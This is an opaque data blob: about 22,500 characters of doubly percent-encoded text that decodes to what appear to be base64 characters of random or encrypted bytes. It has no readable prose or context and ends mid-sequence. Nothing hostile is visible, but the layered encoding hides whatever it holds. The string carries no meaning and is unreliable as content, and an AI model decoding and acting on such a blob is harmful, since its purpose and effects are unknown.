%36%64%25%36%38%25%35%31%25%32%66%25%34%66%25%36%66%25%33%36%25%36%39%25%36%32%25%37%32%25%35%35%25%33%34%25%34%34%25%37%38%25%33%30%25%34%65%25%35%36%25%34%34%25%35%34%25%36%35%25%36%64%25%34%37%25%36%33%25%32%66%25%33%39%25%32%66%25%33%30%25%36%34%25%37%36%25%35%34%25%35%37%25%35%36%25%37%34%25%33%35%25%33%30%25%34%32%25%36%63%25%32%62%25%33%36%25%34%38%25%37%35%25%36%35%25%37%31%25%37%31%25%37%31%25%37%37%25%36%61%25%35%32%25%33%38%25%34%61%25%37%33%25%37%32%25%33%36%25%37%38%25%37%34%25%35%61%25%36%31%25%33%33%25%34%39%25%33%37%25%36%34%25%36%62%25%32%62%25%36%64%25%33%35%25%36%65%25%33%39%25%37%35%25%34%36%25%33%32%25%33%39%25%37%61%25%33%39%25%33%32%25%37%31%25%36%66%25%35%34%25%36%35%25%34%37%25%34%62%25%36%31%25%33%36%25%33%39%25%37%36%25%36%35%25%33%37%25%35%33%25%34%64%25%35%32%25%36%35%25%34%38%25%34%61%25%37%39%25%35%35%25%37%33%25%36%36%25%35%30%25%34%37%25%34%35%25%35%39%25%33%37%25%37%36%25%34%31%25%35%33%25%34%36%25%33%39%25%34%33%25%34%62%25%34%35%25%36%37%25%34%62%25%34%63%25%34%61%25%37%35%25%37%34%25%37%37%25%34%39%25%36%37%25%33%34%25%37%36%25%33%31%25%34%31%25%36%61%25%35%31%25%33%36%25%34%38%25%36%39%25%34%35%25%33%38%25%32%62%25%35%31%25%34%37%25%34%62%25%34%35%25%35%33%25%32%62%25%34%35%25%33%30%25%32%66%25%34%64%25%37%34%25%33%37%25%35%31%25%37%31%25%36%38%25%35%34%25%35%36%25%37%61%25%34%64%25%36%63%25%34%32%25%36%39%25%37%31%25%33%39%25%37%31%25%37%39%25%33%39%25%36%31%25%34%38%25%34%34%25%34%64%25%35%37%25%37%35%25%37%38%25%33%38%25%33%36%25%33%38%25%36%35%25%36%37%25%37%33%25%36%63%25%33%39%25%36%31%25%35%37%25%33%36%25%34%37%25%37%39%25%36%31%25%36%64%25%37%30%25%37%37%25%37%61%25%35%35%25%36%64%25%34%33%25%33%38%25%36%34%25%36%35%25%33%32%25%34%65%25%36%66%25%34%62%25%37%38%25%36%37%25%37%30%25%34%39%25%36%33%25%33%30%25%37%31%25%36%37%25%35%34%25%33%33%25%36%34%25%35%34%25%34%36%25%34%66%25%37%39%25%35%39%25%36%62%25%33%36%25%33%30%25%37%32%25%33%33%25%36%38%25%36%36%25%34%61%25%36%37%25%37%35%25%33%36%25%36%32%25%34%34%25%33%36%25%36%33%25%36%66%25%37%36%25%34%33%25%37%35%25%35%38%25%34%32%25%36%32%25%37%39%25%34%39%25%35%30%25%35%33%25%36%34%25%35%37%25%36%65%25%36%61%25%35%36%25%37%33%25%36%32%25%33%31%25%37%30%25%34%64%25%34%66%25%35%35%25%33%35%25%35%37%25%34%36%25%36%37%25%37%39%25%34%38%25%37%37%25%37%38%25%34%65%25%36%37%25%34%38%25%37%36%25%36%31%25%35%39%25%37%30%25%37%32%25%36%31%25%35%30%25%36%62%25%36%34%25%34%34%25%36%63%25%33%39%25%34%35%25%36%65%25%36%31%25%37%37%25%33%34%25%35%36%25%35%37%25%34%66%25%36%63%25%34%61%25%37%39%25%36%37%25%35%30%25%36%39%25%36%65%25%37%61%25%36%64%25%36%33%25%34%61%25%37%61%25%34%61%25%32%62%25%35%32%25%37%35%25%35%31%25%35%39%25%34%38%25%35%39%25%33%34%25%35%38%25%37%35%25%34%38%25%34%36%25%33%34%25%36%32%25%36%61%25%33%34%25%37%32%25%35%39%25%34%37%25%36%63%25%36%66%25%34%63%25%34%32%25%37%30%25%36%33%25%34%38%25%36%61%25%36%66%25%34%36%25%32%62%25%34%66%25%35%39%25%37%33%25%35%36%25%36%36%25%33%32%25%33%38%25%34%61%25%35%38%25%34%63%25%36%34%25%36%65%25%37%37%25%36%36%25%34%64%25%34%64%25%35%35%25%36%35%25%37%36%25%34%38%25%35%33%25%32%62%25%37%31%25%36%65%25%34%36%25%33%35%25%37%38%25%36%32%25%33%34%25%34%36%25%36%62%25%33%33%25%33%34%25%34%36%25%36%65%25%36%65%25%35%33%25%33%35%25%36%65%25%33%30%25%34%31%25%36%36%25%37%39%25%33%39%25%34%63%25%36%32%25%33%37%25%36%36%25%36%35%25%33%33%25%33%35%25%32%62%25%34%63%25%36%65%25%37%61%25%35%39%25%35%37%25%36%36%25%36%36%25%36%66%25%32%66%25%33%32%25%35%37%25%36%63%25%36%34%25%35%61%25%37%36%25%36%63%25%35%39%25%36%37%25%34%65%25%36%31%25%36%63%25%36%63%25%35%33%25%36%61%25%33%30%25%33%39%25%33%30%25%37%36%25%33%35%25%34%36%25%37%38%25%37%39%25%34%64%25%35%34%25%33%31%25%36%32%25%33%36%25%37%37%25%35%32%25%37%31%25%34%36%25%34%65%25%34%39%25%37%33%25%36%33%25%37%35%25%36%65%25%33%35%25%35%36%25%36%37%25%35%33%25%33%34%25%32%62%25%35%30%25%34%33%25%34%31%25%33%38%25%35%33%25%35%61%25%37%30%25%36%33%25%35%31%25%36%63%25%37%39%25%36%39%25%37%61%25%33%35%25%34%38%25%34%36%25%35%32%25%34%37%25%36%35%25%34%36%25%36%66%25%35%35%25%37%36%25%35%31%25%37%61%25%35%30%25%34%39%25%33%31%25%36%31%25%37%35%25%33%36%25%36%63%25%36%61%25%33%35%25%37%31%25%35%30%25%32%66%25%32%66%25%37%30%25%37%32%25%36%62%25%36%61%25%35%30%25%34%63%25%34%64%25%33%38%25%37%32%25%35%61%25%36%39%25%35%61%25%34%33%25%37%33%25%35%36%25%34%32%25%37%30%25%37%36%25%33%34%25%34%37%25%33%31%25%34%39%25%35%34%25%36%35%25%35%37%25%37%34%25%36%39%25%33%30%25%36%34%25%34%62%25%37%38%25%35%34%25%34%39%25%32%62%25%35%36%25%35%61%25%34%62%25%34%31%25%37%33%25%34%33%25%36%37%25%34%36%25%35%35%25%37%61%25%36%33%25%36%62%25%34%37%25%34%61%25%35%31%25%34%33%25%36%66%25%37%35%25%34%65%25%34%35%25%36%31%25%36%65%25%36%31%25%34%31%25%36%64%25%36%63%25%36%66%25%36%66%25%36%39%25%33%36%25%35%39%25%35%37%25%34%32%25%34%64%25%35%33%25%37%31%25%35%37%25%35%33%25%34%61%25%34%35%25%37%32%25%34%62%25%36%61%25%35%39%25%33%32%25%34%37%25%36%38%25%35%61%25%35%33%25%33%37%25%35%37%25%35%36%25%35%35%25%36%64%25%36%38%25%37%37%25%34%34%25%34%32%25%35%33%25%34%31%25%32%62%25%34%64%25%36%38%25%36%39%25%33%34%25%34%63%25%36%64%25%37%30%25%36%64%25%37%61%25%34%66%25%33%32%25%35%32%25%37%30%25%34%61%25%35%34%25%33%39%25%37%39%25%32%62%25%36%61%25%34%64%25%33%35%25%36%32%25%35%36%25%37%38%25%33%36%25%35%37%25%35%32%25%35%37%25%33%39%25%34%64%25%33%32%25%37%30%25%37%61%25%36%31%25%35%36%25%35%35%25%34%62%25%34%34%25%36%35%25%34%61%25%33%33%25%34%34%25%33%38%25%33%32%25%32%66%25%36%37%25%34%32%25%35%34%25%34%37%25%36%34%25%32%62%25%36%32%25%35%36%25%35%31%25%36%37%25%36%31%25%34%36%25%37%36%25%35%36%25%33%30%25%37%37%25%37%37%25%37%61%25%35%37%25%37%36%25%36%63%25%35%36%25%36%36%25%35%31%25%37%33%25%35%37%25%34%62%25%34%34%25%37%30%25%34%65%25%34%35%25%33%35%25%34%66%25%33%32%25%35%36%25%33%31%25%36%36%25%37%34%25%35%34%25%34%33%25%33%35%25%34%63%25%34%63%25%32%66%25%35%39%25%35%36%25%37%38%25%34%65%25%35%30%25%34%37%25%35%30%25%36%65%25%36%37%25%35%35%25%33%38%25%34%33%25%34%62%25%37%38%25%33%31%25%34%38%25%36%63%25%35%61%25%34%31%25%37%35%25%35%36%25%37%33%25%37%36%25%34%33%25%36%39%25%35%36%25%33%35%25%33%36%25%34%37%25%34%31%25%37%32%25%33%30%25%36%38%25%33%33%25%36%65%25%37%34%25%35%61%25%33%36%25%36%39%25%34%35%25%37%36%25%34%61%25%34%31%25%37%32%25%36%36%25%34%36%25%36%65%25%37%30%25%34%33%25%32%66%25%36%61%25%36%39%25%36%64%25%35%34%25%37%37%25%37%61%25%36%63%25%35%32%25%35%35%25%36%31%25%37%61%25%36%33%25%34%62%25%34%35%25%35%35%25%37%39%25%35%35%25%37%39%25%34%33%25%34%61%25%36%66%25%33%30%25%34%36%25%36%35%25%34%37%25%35%35%25%34%37%25%36%62%25%32%66%25%33%34%25%33%33%25%36%61%25%37%37%25%34%37%25%35%31%25%36%62%25%35%35%25%37%37%25%33%32%25%33%33%25%34%65%25%34%35%25%37%39%25%33%38%25%35%34%25%37%30%25%33%35%25%37%38%25%36%61%25%36%37%25%33%30%25%36%64%25%37%39%25%34%61%25%34%63%25%34%33%25%37%36%25%35%61%25%33%38%25%36%39%25%34%66%25%33%39%25%34%66%25%33%31%25%37%34%25%37%34%25%33%30%25%33%32%25%33%33%25%34%38%25%36%37%25%34%62%25%36%39%25%35%35%25%37%37%25%36%38%25%35%35%25%37%36%25%34%61%25%37%38%25%37%39%25%34%62%25%35%34%25%36%37%25%33%36%25%36%34%25%34%34%25%32%62%25%36%31%25%35%39%25%37%38%25%36%66%25%34%66%25%35%33%25%37%33%25%33%33%25%34%62%25%36%61%25%37%31%25%35%30%25%36%61%25%35%36%25%36%31%25%37%37%25%36%61%25%34%34%25%36%38%25%37%33%25%34%36%25%36%32%25%34%32%25%35%32%25%35%39%25%35%30%25%34%63%25%36%61%25%36%39%25%34%37%25%34%61%25%37%30%25%34%35%25%35%38%25%34%62%25%33%33%25%35%37%25%34%39%25%34%38%25%34%31%25%35%34%25%36%31%25%36%64%25%34%39%25%36%66%25%34%62%25%34%36%25%34%37%25%33%34%25%36%31%25%36%32%25%33%38%25%36%32%25%37%38%25%37%37%25%37%32%25%36%61%25%37%37%25%36%38%25%32%62%25%34%33%25%34%62%25%35%37%25%36%66%25%33%38%25%33%33%25%34%62%25%34%34%25%34%64%25%37%36%25%36%39%25%37%31%25%34%38%25%36%61%25%32%66%25%34%66%25%35%35%25%35%31%25%34%37%25%36%64%25%37%34%25%35%33%25%36%65%25%37%34%25%34%35%25%32%66%25%34%38%25%36%62%25%34%32%25%34%37%25%36%62%25%34%37%25%36%34%25%37%33%25%35%38%25%36%63%25%33%35%25%33%35%25%32%62%25%36%34%25%33%35%25%34%39%25%37%35%25%34%34%25%34%38%25%34%31%25%35%35%25%34%61%25%36%36%25%37%61%25%36%35%25%35%30%25%33%32%25%37%36%25%35%33%25%34%36%25%37%38%25%34%38%25%33%36%25%34%62%25%37%35%25%36%38%25%34%36%25%37%33%25%36%33%25%34%65%25%35%30%25%35%35%25%34%39%25%33%38%25%35%33%25%33%30%25%35%38%25%33%30%25%36%63%25%36%61%25%35%38%25%33%34%25%36%34%25%35%38%25%36%31%25%33%31%25%34%61%25%37%31%25%32%66%25%33%36%25%33%39%25%34%35%25%33%30%25%33%33%25%36%35%25%37%33%25%34%36%25%34%38%25%36%32%25%36%31%25%36%62%25%34%33%25%35%37%25%36%65%25%36%63%25%37%30%25%33%38%25%36%64%25%34%32%25%32%62%25%33%37%25%33%32%25%32%62%25%35%32%25%37%39%25%37%39%25%34%62%25%33%36%25%37%33%25%35%30%25%34%63%25%35%35%25%37%37%25%33%38%25%34%34%25%33%38%25%36%32%25%36%38%25%33%31%25%33%37%25%35%38%25%35%34%25%36%38%25%37%32%25%36%63%25%37%39%25%36%31%25%37%33%25%34%65%25%37%36%25%33%35%25%34%32%25%36%63%25%36%35%25%32%66%25%37%61%25%35%31%25%37%35%25%37%61%25%32%62%25%36%65%25%34%63%25%34%63%25%37%61%25%37%35%25%35%35%25%34%63%25%36%38%25%36%35%25%36%64%25%33%34%25%34%66%25%36%62%25%37%34%25%34%36%25%36%32%25%35%38%25%37%34%25%37%34%25%35%33%25%36%65%25%36%33%25%34%65%25%36%33%25%36%64%25%33%36%25%37%38%25%36%31%25%34%62%25%34%35%25%34%34%25%36%66%25%35%38%25%33%32%25%35%33%25%32%62%25%34%63%25%35%33%25%34%61%25%36%32%25%37%36%25%35%38%25%37%32%25%33%31%25%32%62%25%37%39%25%36%34%25%35%37%25%36%65%25%36%39%25%37%36%25%35%33%25%35%30%25%35%33%25%34%39%25%33%39%25%36%38%25%33%37%25%34%62%25%34%38%25%37%36%25%36%35%25%36%64%25%36%62%25%35%35%25%36%38%25%35%34%25%34%62%25%35%31%25%36%64%25%36%62%25%35%33%25%34%35%25%35%31%25%35%30%25%35%30%25%36%39%25%34%39%25%37%61%25%33%39%25%34%31%25%33%33%25%32%62%25%36%61%25%35%38%25%36%64%25%35%61%25%34%66%25%35%34%25%34%35%25%34%33%25%35%34%25%35%36%25%36%37%25%37%30%25%34%32%25%37%32%25%34%32%25%34%34%25%33%38%25%35%36%25%37%61%25%37%36%25%34%61%25%35%32%25%34%64%25%33%30%25%33%31%25%35%38%25%37%32%25%35%38%25%37%61%25%37%34%25%33%38%25%35%61%25%32%66%25%34%33%25%37%39%25%37%33%25%36%63%25%36%65%25%34%61%25%34%62%25%36%64%25%37%38%25%32%66%25%37%39%25%33%33%25%37%34%25%36%38%25%33%31%25%32%66%25%36%64%25%36%36%25%34%62%25%35%37%25%34%34%25%33%38%25%33%32%25%34%63%25%34%32%25%36%37%25%32%62%25%37%32%25%37%31%25%33%35%25%35%38%25%33%38%25%37%34%25%35%30%25%36%35%25%32%66%25%36%66%25%34%62%25%34%38%25%37%38%25%35%37%25%37%32%25%33%38%25%36%66%25%35%31%25%36%63%25%35%33%25%36%61%25%35%31%25%35%61%25%37%35%25%33%36%25%34%66%25%34%38%25%33%36%25%33%39%25%33%30%25%35%33%25%36%39%25%33%39%25%36%36%25%33%30%25%36%34%25%35%36%25%36%63%25%33%38%25%37%31%25%33%34%25%36%61%25%33%39%25%33%38%25%34%63%25%35%34%25%35%34%25%35%38%25%36%36%25%36%61%25%37%30%25%35%39%25%34%39%25%32%66%25%36%64%25%37%38%25%32%62%25%36%65%25%37%39%25%37%33%25%32%66%25%36%65%25%36%35%25%36%39%25%36%37%25%36%33%25%35%36%25%36%34%25%35%30%25%36%32%25%35%35%25%36%34%25%37%32%25%37%39%25%35%37%25%36%35%25%36%34%25%34%34%25%32%66%25%35%39%25%34%62%25%37%37%25%33%36%25%34%65%25%36%62%25%35%37%25%35%35%25%34%34%25%35%30%25%35%61%25%34%37%25%35%61%25%34%66%25%34%62%25%35%32%25%37%36%25%35%31%25%36%65%25%36%35%25%37%36%25%33%36%25%32%62%25%37%34%25%33%33%25%37%32%25%33%37%25%34%35%25%37%38%25%33%30%25%34%65%25%37%38%25%33%34%25%37%30%25%34%66%25%35%31%25%34%32%25%35%33%25%36%37%25%35%38%25%36%34%25%36%36%25%36%61%25%35%30%25%33%39%25%34%35%25%33%38%25%36%61%25%35%32%25%36%34%25%35%36%25%35%35%25%34%38%25%34%65%25%33%33%25%35%34%25%35%32%25%36%65%25%34%35%25%33%32%25%34%38%25%33%31%25%37%34%25%36%39%25%33%32%25%33%37%25%37%35%25%35%32%25%37%37%25%37%31%25%34%64%25%34%62%25%37%34%25%33%30%25%36%34%25%37%61%25%34%36%25%34%66%25%33%39%25%37%32%25%33%32%25%37%39%25%36%38%25%35%36%25%33%36%25%34%66%25%34%39%25%37%39%25%33%37%25%35%38%25%36%31%25%34%35%25%36%34%25%35%30%25%36%62%25%36%39%25%33%38%25%34%33%25%37%31%25%34%33%25%35%31%25%37%61%25%36%34%25%36%64%25%34%63%25%35%35%25%34%61%25%34%37%25%36%38%25%34%64%25%32%66%25%35%30%25%34%32%25%36%62%25%33%38%25%37%35%25%33%30%25%34%64%25%36%39%25%37%30%25%33%32%25%35%30%25%36%35%25%37%61%25%36%37%25%34%61%25%37%61%25%36%63%25%35%37%25%36%62%25%36%39%25%33%30%25%34%63%25%34%36%25%35%36%25%33%36%25%36%35%25%37%37%25%33%39%25%33%36%25%35%36%25%36%38%25%36%33%25%35%32%25%35%34%25%33%35%25%33%37%25%35%33%25%34%63%25%33%32%25%34%38%25%36%33%25%35%61%25%37%61%25%36%63%25%36%38%25%37%37%25%37%34%25%35%38%25%37%34%25%36%37%25%34%38%25%35%31%25%37%30%25%34%63%25%33%31%25%36%37%25%36%38%25%36%34%25%36%63%25%33%38%25%36%36%25%37%61%25%33%30%25%34%37%25%37%38%25%36%63%25%34%32%25%33%38%25%37%33%25%33%39%25%33%34%25%37%36%25%36%62%25%35%36%25%35%33%25%36%31%25%37%37%25%37%31%25%35%36%25%37%61%25%36%64%25%37%33%25%33%31%25%36%66%25%34%36%25%36%38%25%36%31%25%34%62%25%36%66%25%36%36%25%36%33%25%36%32%25%36%62%25%35%35%25%37%34%25%36%64%25%35%61%25%37%35%25%32%62%25%36%62%25%35%37%25%34%66%25%34%33%25%36%38%25%34%31%25%37%38%25%36%39%25%36%34%25%37%32%25%34%38%25%37%37%25%36%64%25%34%36%25%36%61%25%33%37%25%35%32%25%36%62%25%37%36%25%36%39%25%37%37%25%36%37%25%36%39%25%34%61%25%33%35%25%34%31%25%32%66%25%36%66%25%36%34%25%34%33%25%32%66%25%37%30%25%36%34%25%37%33%25%36%65%25%37%61%25%32%66%25%36%63%25%34%38%25%33%34%25%36%37%25%35%37%25%37%35%25%35%38%25%35%30%25%33%35%25%34%37%25%33%33%25%36%35%25%36%38%25%34%36%25%37%31%25%33%39%25%35%33%25%33%34%25%37%35%25%34%39%25%36%63%25%35%39%25%36%62%25%32%62%25%34%61%25%36%32%25%35%34%25%33%32%25%36%34%25%34%65%25%37%32%25%34%32%25%33%39%25%37%38%25%35%37%25%37%33%25%33%33%25%37%32%25%37%34%25%35%61%25%37%35%25%37%36%25%37%37%25%34%62%25%36%65%25%33%34%25%35%38%25%34%35%25%33%38%25%36%36%25%35%37%25%33%33%25%37%32%25%33%36%25%34%63%25%35%30%25%34%33%25%34%63%25%35%35%25%35%36%25%35%61%25%37%39%25%37%31%25%34%35%25%34%31%25%35%33%25%33%36%25%36%62%25%34%37%25%34%63%25%35%30%25%35%61%25%34%35%25%35%36%25%37%35%25%34%62%25%34%62%25%34%36%25%33%39%25%34%65%25%37%39%25%34%32%25%33%37%25%33%32%25%37%39%25%37%33%25%36%32%25%36%38%25%34%32%25%36%38%25%35%39%25%33%39%25%35%34%25%36%37%25%36%64%25%37%36%25%34%31%25%36%38%25%32%66%25%36%65%25%35%61%25%34%38%25%34%65%25%34%38%25%33%36%25%37%34%25%33%38%25%33%33%25%33%33%25%36%62%25%36%39%25%37%38%25%36%31%25%32%62%25%34%38%25%37%30%25%33%34%25%34%61%25%34%31%25%35%30%25%36%63%25%35%30%25%36%66%25%36%31%25%37%39%25%32%66%25%35%30%25%33%36%25%34%31%25%33%35%25%36%36%25%35%61%25%36%32%25%35%37%25%34%31%25%35%38%25%34%66%25%33%37%25%37%31%25%33%38%25%35%35%25%37%33%25%37%38%25%37%31%25%36%36%25%37%37%25%37%35%25%33%36%25%36%36%25%34%34%25%33%30%25%34%63%25%36%33%25%36%61%25%35%35%25%37%35%25%35%38%25%36%62%25%35%61%25%37%30%25%35%39%25%36%34%25%36%34%25%34%63%25%33%32%25%37%37%25%34%64%25%35%37%25%33%37%25%34%37%25%33%38%25%36%34%25%36%37%25%37%61%25%37%30%25%34%39%25%36%37%25%34%31%25%35%39%25%35%39%25%37%39%25%35%36%25%34%35%25%33%33%25%36%65%25%33%33%25%34%61%25%34%35%25%35%31%25%36%37%25%36%66%25%34%64%25%33%39%25%36%36%25%35%33%25%33%37%25%33%33%25%35%34%25%34%38%25%36%36%25%33%36%25%34%39%25%37%32%25%36%37%25%33%35%25%33%32%25%34%33%25%33%36%25%35%35%25%34%33%25%35%32%25%35%36%25%36%39%25%34%33%25%34%35%25%34%65%25%34%66%25%37%32%25%34%31%25%34%34%25%33%33%25%36%31%25%35%34%25%33%32%25%34%33%25%32%62%25%34%32%25%35%34%25%36%36%25%33%30%25%35%34%25%36%66%25%36%65%25%35%36%25%37%37%25%36%36%25%33%32%25%37%35%25%34%33%25%36%34%25%37%31%25%36%31%25%35%61%25%35%61%25%33%36%25%33%39%25%36%34%25%36%64%25%37%37%25%36%32%25%35%32%25%33%36%25%33%36%25%34%65%25%36%61%25%35%34%25%37%36%25%35%38%25%36%37%25%35%35%25%35%30%25%32%62%25%36%38%25%33%36%25%33%32%25%33%39%25%35%37%25%37%31%25%33%39%25%37%36%25%34%63%25%35%33%25%33%39%25%34%65%25%37%36%25%36%61%25%33%39%25%33%31%25%36%31%25%34%36%25%36%37%25%37%35%25%37%39%25%34%61%25%33%35%25%33%37%25%37%34%25%34%63%25%35%39%25%34%66%25%36%36%25%35%30%25%37%33%25%34%33%25%36%38%25%37%30%25%33%35%25%36%39%25%37%39%25%36%65%25%36%34%25%34%62%25%33%37%25%34%38%25%33%34%25%36%63%25%35%37%25%33%34%25%37%31%25%34%35%25%36%61%25%33%30%25%37%37%25%37%34%25%35%38%25%36%38%25%35%32%25%36%31%25%34%38%25%36%63%25%37%39%25%37%37%25%36%63%25%33%31%25%34%34%25%37%34%25%34%64%25%36%34%25%36%36%25%34%39%25%34%34%25%36%32%25%37%33%25%36%63%25%36%36%25%33%39%25%34%63%25%36%35%25%33%33%25%36%33%25%37%35%25%35%36%25%35%34%25%35%39%25%33%36%25%37%35%25%37%61%25%34%64%25%33%33%25%34%36%25%33%31%25%36%38%25%36%39%25%37%35%25%35%34%25%37%38%25%33%33%25%33%34%25%36%62%25%32%62%25%35%32%25%34%34%25%36%66%25%37%36%25%35%61%25%33%31%25%36%38%25%35%30%25%36%39%25%36%63%25%37%34%25%34%39%25%35%30%25%37%35%25%37%34%25%36%36%25%36%37%25%34%65%25%37%61%25%36%38%25%33%35%25%36%34%25%36%35%25%34%65%25%33%31%25%33%32%25%34%66%25%33%33%25%35%34%25%34%36%25%36%64%25%32%66%25%35%31%25%33%30%25%34%37%25%36%33%25%34%66%25%36%39%25%36%64%25%35%31%25%34%38%25%35%33%25%34%34%25%37%38%25%36%33%25%37%30%25%33%38%25%34%63%25%37%35%25%35%33%25%34%62%25%35%36%25%33%33%25%37%37%25%37%31%25%35%61%25%36%33%25%35%30%25%35%33%25%35%31%25%34%32%25%37%38%25%32%66%25%36%33%25%34%36%25%34%64%25%33%39%25%36%37%25%34%65%25%36%35%25%36%34%25%36%31%25%35%38%25%35%31%25%35%35%25%33%39%25%34%34%25%37%36%25%33%33%25%34%65%25%37%37%25%33%34%25%34%34%25%36%38%25%34%64%25%34%36%25%33%37%25%34%65%25%35%61%25%33%31%25%36%66%25%35%34%25%36%32%25%34%35%25%37%33%25%36%65%25%37%34%25%34%32%25%34%33%25%37%35%25%34%63%25%34%63%25%36%31%25%36%32%25%32%66%25%37%34%25%34%62%25%33%38%25%37%34%25%35%35%25%33%38%25%35%39%25%33%39%25%36%33%25%34%35%25%33%36%25%34%66%25%33%31%25%34%39%25%33%34%25%34%34%25%34%37%25%34%39%25%35%33%25%35%39%25%34%33%25%33%30%25%33%36%25%35%31%25%36%64%25%35%37%25%33%31%25%35%36%25%32%66%25%32%62%25%33%37%25%37%31%25%34%34%25%36%62%25%37%32%25%33%33%25%34%31%25%34%34%25%36%65%25%34%61%25%37%38%25%36%34%25%32%62%25%37%31%25%33%39%25%32%66%25%35%32%25%36%66%25%34%63%25%36%37%25%33%33%25%33%35%25%36%63%25%34%37%25%32%66%25%33%35%25%33%37%25%36%36%25%33%36%25%34%63%25%37%39%25%36%62%25%32%66%25%34%66%25%37%33%25%34%37%25%36%36%25%33%32%25%36%39%25%35%39%25%33%30%25%35%32%25%37%34%25%37%61%25%33%31%25%33%34%25%34%61%25%35%39%25%34%39%25%35%30%25%36%37%25%34%37%25%37%61%25%36%62%25%34%39%25%34%33%25%36%35%25%33%35%25%32%62%25%34%61%25%37%33%25%37%35%25%34%33%25%35%34%25%33%36%25%34%33%25%34%37%25%32%66%25%36%33%25%33%30%25%35%30%25%34%37%25%34%32%25%37%32%25%36%38%25%33%35%25%34%66%25%36%37%25%34%63%25%37%30%25%35%34%25%37%38%25%35%34%25%34%32%25%37%61%25%36%38%25%37%61%25%36%39%25%34%37%25%34%61%25%36%66%25%35%31%25%36%66%25%34%31%25%33%35%25%34%33%25%34%31%25%36%65%25%37%35%25%36%36%25%36%39%25%36%32%25%37%34%25%37%34%25%35%39%25%33%39%25%35%33%25%35%35%25%34%64%25%36%33%25%34%33%25%34%37%25%34%37%25%36%33%25%37%61%25%34%37%25%35%34%25%35%35%25%34%37%25%33%35%25%37%37%25%37%31%25%35%37%25%37%39%25%37%39%25%34%61%25%34%62%25%35%33%25%34%39%25%34%37%25%37%33%25%35%34%25%33%38%25%34%37%25%34%35%25%34%35%25%36%34%25%33%31%25%34%36%25%33%30%25%33%35%25%36%64%25%34%64%25%36%39%25%35%34%25%35%34%25%34%39%25%35%33%25%33%31%25%36%33%25%34%38%25%35%31%25%35%30%25%32%62%25%36%61%25%35%61%25%33%32%25%33%37%25%34%64%25%37%61%25%32%66%25%34%62%25%35%33%25%34%39%25%37%37%25%35%34%25%37%36%25%37%34%25%33%34%25%34%37%25%36%35%25%32%62%25%34%64%25%33%38%25%36%36%25%37%35%25%33%39%25%34%31%25%33%39%25%33%39%25%33%31%25%33%33%25%33%39%25%33%35%25%34%33%25%36%61%25%36%65%25%35%30%25%33%32%25%33%31%25%36%35%25%36%62%25%32%62%25%35%30%25%33%35%25%34%65%25%34%62%25%35%31%25%34%34%25%32%66%25%36%64%25%35%33%25%36%65%25%32%62%25%33%36%25%36%36%25%36%31%25%34%36%25%34%65%25%35%30%25%37%38%25%34%31%25%34%36%25%34%34%25%36%37%25%33%34%25%34%66%25%32%66%25%36%33%25%36%37%25%32%62%25%34%66%25%34%35%25%34%36%25%36%65%25%34%63%25%35%38%25%36%66%25%33%35%25%37%39%25%33%39%25%36%63%25%36%34%25%36%34%25%35%34%25%34%61%25%34%36%25%36%61%25%35%37%25%36%32%25%34%33%25%36%65%25%33%36%25%33%39%25%35%61%25%34%35%25%33%39%25%34%36%25%37%32%25%36%37%25%35%38%25%37%35%25%37%38%25%34%61%25%35%39%25%36%63%25%34%39%25%33%38%25%36%37%25%36%63%25%35%31%25%33%34%25%34%39%25%37%38%25%35%36%25%34%66%25%37%38%25%37%33%25%37%34%25%36%35%25%36%61%25%36%65%25%34%63%25%33%32%25%35%36%25%33%32%25%33%30%25%34%63%25%35%34%25%37%33%25%34%63%25%35%61%25%33%33%25%35%39%25%36%31%25%34%35%25%35%35%25%37%37%25%33%31%25%36%62%25%34%62%25%37%35%25%32%66%25%33%31%25%34%37%25%37%33%25%36%34%25%33%31%25%34%31%25%36%32%25%34%63%25%34%36%25%36%62%25%36%66%25%37%37%25%36%39%25%36%65%25%34%61%25%34%38%25%33%35%25%36%64%25%35%38%25%36%37%25%33%36%25%37%35%25%35%36%25%32%62%25%33%33%25%34%62%25%33%38%25%34%38%25%34%63%25%34%34%25%33%38%25%36%38%25%35%30%25%37%39%25%33%34%25%33%38%25%37%30%25%34%33%25%34%32%25%32%66%25%35%32%25%37%32%25%33%33%25%37%35%25%34%31%25%36%65%25%33%39%25%34%37%25%37%36%25%33%33%25%37%36%25%36%65%25%32%66%25%35%35%25%33%30%25%33%34%25%32%66%25%33%32%25%33%32%25%36%33%25%36%35%25%36%33%25%33%32%25%33%32%25%32%66%25%37%31%25%37%33%25%37%39%25%33%39%25%36%32%25%36%36%25%37%39%25%33%32%25%37%33%25%35%30%25%36%66%25%34%66%25%34%31%25%34%32%25%35%32%25%34%64%25%35%31%25%35%32%25%34%65%25%35%31%25%35%30%25%37%61%25%35%32%25%33%36%25%37%30%25%37%34%25%37%39%25%34%34%25%34%33%25%37%30%25%33%33%25%35%36%25%33%31%25%34%33%25%36%66%25%35%39%25%33%34%25%32%62%25%33%36%25%33%30%25%34%33%25%36%63%25%35%38%25%33%33%25%33%39%25%34%34%25%34%65%25%36%37%25%36%34%25%37%36%25%33%31%25%33%30%25%37%32%25%35%38%25%34%65%25%37%38%25%34%33%25%33%32%25%35%39%25%36%33%25%35%38%25%36%33%25%35%30%25%34%38%25%32%62%25%33%38%25%34%32%25%33%37%25%35%35%25%34%65%25%34%36%25%35%61%25%34%39%25%36%65%25%33%37%25%34%36%25%36%61%25%33%36%25%33%37%25%36%39%25%36%32%25%34%39%25%36%38%25%35%36%25%37%33%25%33%37%25%33%35%25%37%31%25%37%30%25%34%64%25%35%38%25%36%34%25%33%36%25%35%33%25%34%66%25%37%32%25%33%37%25%37%31%25%33%37%25%35%61%25%37%37%25%36%32%25%35%38%25%36%61%25%36%65%25%37%37%25%36%38%25%33%38%25%37%32%25%37%32%25%34%66%25%33%34%25%35%39%25%34%39%25%34%36%25%37%33%25%37%38%25%33%33%25%34%39%25%34%66%25%37%33%25%33%33%25%36%62%25%37%30%25%34%64%25%35%34%25%35%37%25%35%32%25%37%30%25%35%32%25%35%35%25%33%36%25%37%31%25%33%36%25%36%63%25%35%36%25%34%64%25%34%64%25%36%32%25%36%34%25%36%32%25%37%31%25%35%33%25%37%31%25%34%66%25%36%36%25%34%63%25%33%35%25%33%35%25%36%64%25%36%62%25%35%32%25%34%64%25%34%39%25%37%36%25%36%39%25%37%31%25%35%34%25%32%62%25%34%65%25%37%61%25%35%61%25%35%38%25%34%61%25%35%33%25%36%61%25%36%38%25%36%34%25%33%32%25%35%33%25%34%31%25%37%38%25%33%35%25%35%37%25%33%36%25%35%37%25%37%35%25%33%36%25%32%62%25%36%64%25%34%36%25%36%64%25%34%37%25%35%37%25%35%33%25%35%36%25%34%66%25